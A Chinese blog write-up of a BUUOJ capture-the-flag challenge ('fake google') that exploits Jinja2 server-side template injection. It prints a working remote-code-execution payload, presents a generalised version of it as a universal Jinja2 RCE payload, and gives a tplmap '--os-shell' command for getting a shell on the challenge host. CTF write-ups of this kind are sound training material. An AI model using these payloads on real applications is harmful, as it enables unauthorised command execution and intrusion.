[BUUOJ记录] [BJDCTF 2nd]fake google

本题考查python jinjia2的ssti,其实tplmap直接梭哈都可以

随便输入一个值,查看源代码就能看到一个Hint:

 

 

用下面的流程图测试一下,看看是什么模板引擎:

 

 

 用Payload测试之后发现是jinjia2的模板引擎,然后构造jinjia2 ssti的命令执行payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

得到Flag:

这里用的到Payload是一个Jinjia2模板引擎通用的RCE Payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

在<command>添加命令即可。

关于Jinjia2的SSTI可以看看以下文章:

https://blog.csdn.net/qq_40827990/article/details/82940894

https://blog.csdn.net/zz_Caleb/article/details/96480967

 

 

除此之外第二种更简单的解法就是用tplmap工具直接GetShell。

Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

tplmap工具的介绍以及使用可以参考: https://host.zzidc.com/xnkj/1676.html

安装配置好之后直接执行:

python tplmap.py -u http://078120db-2672-4fc5-b3a9-87e76e4d9773.node3.buuoj.cn/qaq?name= --os-shell

得到Shell,同时也可以看到tplmap测试得出了引擎是jinjia2

然后cat /flag也可以得到Flag:

 

posted @ 2020-03-22 21:01  Ye'sBlog  阅读(1171)  评论(0编辑  收藏  举报